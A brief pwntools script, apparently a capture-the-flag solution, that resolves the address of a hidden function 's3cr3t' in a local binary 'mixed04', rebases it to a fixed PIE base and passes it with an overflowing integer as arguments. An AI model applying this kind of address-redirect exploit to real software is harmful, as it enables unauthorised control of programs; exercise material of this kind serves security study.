from pwn import * import subprocess context(arch='amd64', os='linux', log_level='info') secret_addr = ELF('./mixed04').symbols['s3cr3t'] secret_addr = secret_addr - 0x1000 + 0x555555555000 subprocess.run(['./mixed04', hex(secret_addr), str(2 ** 64 - 1)])